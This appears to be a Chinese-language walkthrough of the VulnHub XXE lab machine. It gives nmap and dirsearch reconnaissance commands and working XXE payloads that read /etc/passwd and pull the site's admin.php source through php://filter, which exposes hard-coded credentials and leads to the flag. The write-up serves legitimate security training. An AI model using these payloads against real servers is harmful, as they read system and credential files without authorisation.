免责声明:涉及到的所有技术和工具仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透,否则产生的一切后果自行承担!
简介
XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏 洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务 端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件 和代码,造成任意文件读取,命令执行、内网扫描等危害。该靶机为CTFhub题目,目的在于学习巩固XXE漏洞知识。
靶机安装
靶机下载地址:
https://download.vulnhub.com/xxe/XXE.zip
下载后得到一个压缩包XXE.zip,解压后可以得到OVF文件
打开VMware,选择文件->打开
选择解压后得到的OVF文件
信息收集
因为虚拟机为net网段,所以可以用同为net网段的kali进行内网扫描
右键XXE靶机->设置
选择网络适配器->高级
就得到了XXE靶机的MAC地址为
00:0C:29:9A:40:63
开启虚拟机,并开启攻击机kali(注意确保kali和靶机为同一net网段)
开启后界面如下:
使用kali的nmap查看内网存活主机,对照MAC地址找到真实IP地址:
开启kali,ifconfig查看kali网段:
可以看到为0网段
使用kali的nmap工具进行扫描:
nmap 192.168.0.0/24
这里因为我是0网段,所以我扫描的是0.0/24,如果是1网段可以改为1.0/24
对照MAC地址可以看到靶机ip地址为192.168.0.132
使用nmap工具查看靶机端口信息:
nmap 192.168.0.132 -p-
可以看到靶机开放了80端口和5355端口,80说明存在web站点
访问80端口的http服务
发现只是一个默认页面,使用dirsearch工具进行目录扫描
dirsearch -u "http://192.168.0.132/"
得到的结果:
拼接robots.txt查看内容
渗透测试
1、首先拼接/xxe/访问
2、尝试登录并抓包
提交得到数据包
发送到Repeater(重发器)模块
因为数据包内容为XML格式,所以尝试XXE注入
3、构造payload验证是否存在并读取/etc/passwd文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<root><name>&name;</name><password>admin</password></root>
成功读取文件
4、读取admin.php内容
我们接下来将用
php://filter/read
使用相对路径获取网站文件源码
构造xml,之前信息收集结果中有一个admin.php的管理员登陆界面,我们读取它试试
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&name;</name><password>admin</password></root>
得到结果
5、解密
这里是用base64获取的源码,复制出密文进行解密
base64解密链接:
http://www.jsons.cn/base64
解密结果为:
<?php
session_start();
?>
<html lang = "en">
<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}
h2{
text-align: center;
color: #017572;
}
</style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password
";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
</div>
</body>
</html>
6、查找关键字
在解密得到的源码中可以找到关键字username,password
7、解密
password进行md5解密:
得到username和password,分别为:
username:administhebest
password:admin@123
8、登录
因为查看的是admin.php的内容,所以去192.168.0.132/xxe/admin.php登录
点击login后可以得到Flag,点击Flag
发现无内容
9、读取flagmeout.php文件源码
因为跳转过来发现无内容,所以可以用之前的payload进行读取该页面内容
10、解密
再次进行解密,得到结果
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
将flag复制出来再次进行解密,因密文特殊所以需要base32解密->base64解密,解密两次
得到结果/etc/.flag.php
11、读取结果
得到了绝对路径后,可以再利用之前的payload读取该文件内容
12、得到结果
得到结果后发现是一段php代码
13、在线运行
将结果复制出来后放入在线运行平台运行看看
php在线运行平台
https://code.y444.cn/php
成功通关
原文始发于微信公众号(智检安全):VulnHub-XXE靶机渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论